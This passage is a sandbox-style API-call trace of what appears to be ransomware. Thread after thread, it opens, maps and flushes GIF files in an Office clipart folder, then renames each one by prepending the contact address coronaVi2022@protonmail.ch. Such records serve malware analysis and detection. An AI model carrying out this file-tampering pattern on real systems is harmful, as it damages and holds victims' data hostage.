	[0094.938] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 271
	[0094.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif")) returned 0
	[0094.938] free (_Block=0x51f60a0) 
	[0094.938] RtlExitUserThread (Status=0x0) 

Thread:
	id = 585
	os_tid = 0x1994

	[0094.940] _alloca_probe () returned 0x40328a
	[0094.940] GetCurrentThreadId () returned 0x1994
	[0094.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", dwFileAttributes=0x80) returned 1
	[0094.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbd8
	[0094.941] GetFileSizeEx (in: hFile=0xbd8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3265) returned 1
	[0094.941] CreateFileMappingA (hFile=0xbd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc1, lpName=0x0) returned 0xbdc
	[0094.941] MapViewOfFile (hFileMappingObject=0xbdc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.942] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.942] CloseHandle (hObject=0xbdc) returned 1
	[0094.942] GetCurrentThreadId () returned 0x1994
	[0094.942] FlushFileBuffers (hFile=0xbd8) returned 1
	[0094.944] CloseHandle (hObject=0xbd8) returned 1
	[0094.944] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 271
	[0094.944] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif")) returned 0
	[0094.944] free (_Block=0x51f60a0) 
	[0094.944] RtlExitUserThread (Status=0x0) 

Thread:
	id = 586
	os_tid = 0x1998

	[0094.946] _alloca_probe () returned 0x40328a
	[0094.946] GetCurrentThreadId () returned 0x1998
	[0094.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", dwFileAttributes=0x80) returned 1
	[0094.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbdc
	[0094.947] GetFileSizeEx (in: hFile=0xbdc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8097) returned 1
	[0094.947] CreateFileMappingA (hFile=0xbdc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa1, lpName=0x0) returned 0xbe0
	[0094.947] MapViewOfFile (hFileMappingObject=0xbe0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.949] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.949] CloseHandle (hObject=0xbe0) returned 1
	[0094.949] GetCurrentThreadId () returned 0x1998
	[0094.949] FlushFileBuffers (hFile=0xbdc) returned 1
	[0094.951] CloseHandle (hObject=0xbdc) returned 1
	[0094.951] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 271
	[0094.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif")) returned 0
	[0094.951] free (_Block=0x51f3088) 
	[0094.952] RtlExitUserThread (Status=0x0) 

Thread:
	id = 587
	os_tid = 0x199c

	[0094.954] _alloca_probe () returned 0x40328a
	[0094.954] GetCurrentThreadId () returned 0x199c
	[0094.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", dwFileAttributes=0x80) returned 1
	[0094.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbe0
	[0094.954] GetFileSizeEx (in: hFile=0xbe0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7713) returned 1
	[0094.954] CreateFileMappingA (hFile=0xbe0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e21, lpName=0x0) returned 0xbe4
	[0094.955] MapViewOfFile (hFileMappingObject=0xbe4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0094.956] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0094.957] CloseHandle (hObject=0xbe4) returned 1
	[0094.957] GetCurrentThreadId () returned 0x199c
	[0094.957] FlushFileBuffers (hFile=0xbe0) returned 1
	[0094.958] CloseHandle (hObject=0xbe0) returned 1
	[0094.959] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 271
	[0094.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00052_.gif")) returned 0
	[0094.959] free (_Block=0x51f0070) 
	[0094.959] RtlExitUserThread (Status=0x0) 

Thread:
	id = 588
	os_tid = 0x19a0

	[0095.014] _alloca_probe () returned 0x40328a
	[0095.014] GetCurrentThreadId () returned 0x19a0
	[0095.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", dwFileAttributes=0x80) returned 1
	[0095.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbe4
	[0095.015] GetFileSizeEx (in: hFile=0xbe4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=11905) returned 1
	[0095.015] CreateFileMappingA (hFile=0xbe4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e81, lpName=0x0) returned 0xbe8
	[0095.015] MapViewOfFile (hFileMappingObject=0xbe8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.018] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.018] CloseHandle (hObject=0xbe8) returned 1
	[0095.018] GetCurrentThreadId () returned 0x19a0
	[0095.018] FlushFileBuffers (hFile=0xbe4) returned 1
	[0095.019] CloseHandle (hObject=0xbe4) returned 1
	[0095.020] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 271
	[0095.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00057_.gif")) returned 0
	[0095.020] free (_Block=0x51f60a0) 
	[0095.020] RtlExitUserThread (Status=0x0) 

Thread:
	id = 589
	os_tid = 0x19a4

	[0095.022] _alloca_probe () returned 0x40328a
	[0095.022] GetCurrentThreadId () returned 0x19a4
	[0095.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", dwFileAttributes=0x80) returned 1
	[0095.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbe8
	[0095.023] GetFileSizeEx (in: hFile=0xbe8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=529) returned 1
	[0095.023] CreateFileMappingA (hFile=0xbe8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0xbec
	[0095.023] MapViewOfFile (hFileMappingObject=0xbec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.024] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.024] CloseHandle (hObject=0xbec) returned 1
	[0095.024] GetCurrentThreadId () returned 0x19a4
	[0095.024] FlushFileBuffers (hFile=0xbe8) returned 1
	[0095.025] CloseHandle (hObject=0xbe8) returned 1
	[0095.026] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 271
	[0095.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00090_.gif")) returned 0
	[0095.026] free (_Block=0x51f4090) 
	[0095.026] RtlExitUserThread (Status=0x0) 

Thread:
	id = 590
	os_tid = 0x19a8

	[0095.028] _alloca_probe () returned 0x40328a
	[0095.029] GetCurrentThreadId () returned 0x19a8
	[0095.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", dwFileAttributes=0x80) returned 1
	[0095.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbec
	[0095.029] GetFileSizeEx (in: hFile=0xbec, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=529) returned 1
	[0095.029] CreateFileMappingA (hFile=0xbec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x211, lpName=0x0) returned 0xbf0
	[0095.029] MapViewOfFile (hFileMappingObject=0xbf0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.030] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.030] CloseHandle (hObject=0xbf0) returned 1
	[0095.030] GetCurrentThreadId () returned 0x19a8
	[0095.030] FlushFileBuffers (hFile=0xbec) returned 1
	[0095.032] CloseHandle (hObject=0xbec) returned 1
	[0095.032] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 271
	[0095.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00092_.gif")) returned 0
	[0095.032] free (_Block=0x51f1078) 
	[0095.032] RtlExitUserThread (Status=0x0) 

Thread:
	id = 591
	os_tid = 0x19ac

	[0095.034] _alloca_probe () returned 0x40328a
	[0095.034] GetCurrentThreadId () returned 0x19ac
	[0095.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", dwFileAttributes=0x80) returned 1
	[0095.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbf0
	[0095.035] GetFileSizeEx (in: hFile=0xbf0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12737) returned 1
	[0095.035] CreateFileMappingA (hFile=0xbf0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31c1, lpName=0x0) returned 0xbf4
	[0095.035] MapViewOfFile (hFileMappingObject=0xbf4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.037] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.038] CloseHandle (hObject=0xbf4) returned 1
	[0095.038] GetCurrentThreadId () returned 0x19ac
	[0095.038] FlushFileBuffers (hFile=0xbf0) returned 1
	[0095.039] CloseHandle (hObject=0xbf0) returned 1
	[0095.040] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 271
	[0095.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00103_.gif")) returned 0
	[0095.040] free (_Block=0x51f5098) 
	[0095.040] RtlExitUserThread (Status=0x0) 

Thread:
	id = 592
	os_tid = 0x19b0

	[0095.041] _alloca_probe () returned 0x40328a
	[0095.042] GetCurrentThreadId () returned 0x19b0
	[0095.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", dwFileAttributes=0x80) returned 1
